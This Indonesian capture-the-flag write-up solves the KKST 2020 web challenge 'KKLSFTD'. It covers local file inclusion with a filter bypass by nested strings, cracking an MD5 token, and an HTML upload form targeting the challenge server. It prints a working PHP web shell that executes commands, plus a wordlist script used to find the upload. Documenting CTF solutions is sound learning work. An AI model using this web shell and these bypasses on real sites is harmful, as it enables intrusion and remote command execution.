[KKST 2020] KKLSFTD

ctf, web

Diberikan sebuah soal seperti gambar berikut

Soal

Website diketahui menggunakan bahasa PHP. Pada saat URL tersebut diakses, website akan men-redirect kita ke dev.php. Karena curiga dengan file index.php, dilakukanlah curl ke index.php untuk melihat response dari file index.php tersebut

index.php

Setelah melakukan pencarian pada folder tersebut ditemukan sebuah bug LFI (Local File Inclusion) pada /page/.download.php?file_name=klee.mp3. Untuk test LFI tersebut, dilakukan include file /etc/passwd

/etc/passwd

terfilter

Setelah dianalisa, berikut adalah beberapa string pada input yang dihapus:

download, flag, php, ../

Karena penghapusan hanya dilakukan satu kali yang artinya, jika

download => “” (dihapus)

downldownloadoad => “download” (string download pada karakter 6-13 akan dihapus menyisakan string downl dan oad)

Author dapat membypass filter tersebut dengan mudah. Setelah itu dilakukan pembacaan source code file-file PHP yang ada di dalam website

download.php

Setelah menelusuri file-file yg terdapat di dalam web, maka ditemukan file pada /modules/index.php

/modules/index.php

Di dalam file tersebut meng-include beberapa file lain:

token.config.php

token.config.php

menu.php

menu.php

func.php

func.php

Nah, pada menu.php dapat dilakukan upload file menggunakan POST data “image”. File menu.php juga meminta token yang bisa diinput melalui GET parameter “token”.
Token pada input tersebut di hash terlebih dahulu ke md5 dan dibandingkan dengan $token yang berada dalam token.config.php. Setelah semuanya cocok, baru file akan terupload.

Untuk mengetahui plaintext dari md5 $token tersebut, dapat menggunakan hashes.com sebagai decryptor

hashes.com

admin

Lalu membuat script upload form untuk mengupload sebuah backdoor PHP ke web tersebut

<!DOCTYPE html>
<html>
<tilte>UPLOADER</tile>
<body>

<form action="http://140.82.48.126:20001/modules/menu.php?token=admin" method="post" enctype="multipart/form-data">
  Select image to upload:
  <input type="file" name="image" id="fileToUpload">
  <input type="submit" value="Upload Image" name="submit">
</form>

</body>
</html>
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

backdoor.php

Setelah itu backdoor.php akan terupload pada folder MD5 dari (IP kita + angka random 1-100) dan nama filenya akan terganti menjadi (angka random 1-100).php

Berikut script PHP untuk generate wordlist folder

<?php
$ip = "xxx.xxx.xxx.xxx";

for($i=0; $i<=100; $i++){
    $dir = $ip.$i;
    echo md5($dir).PHP_EOL;
}
?>

Kita dapat menggunakan tools dirb / dirsearch untuk mencari folder dan file dari wordlist yang sudah kita generate tadi.

Setelah didapatkan foldernya, bruteforce filenya 1-100.php. Kalo sekarang gausah pake tools, manual aja biar olahraga jari h3h3

Akses, dan cari flagnya :D

flag

KKST2020{long_live_the_queen}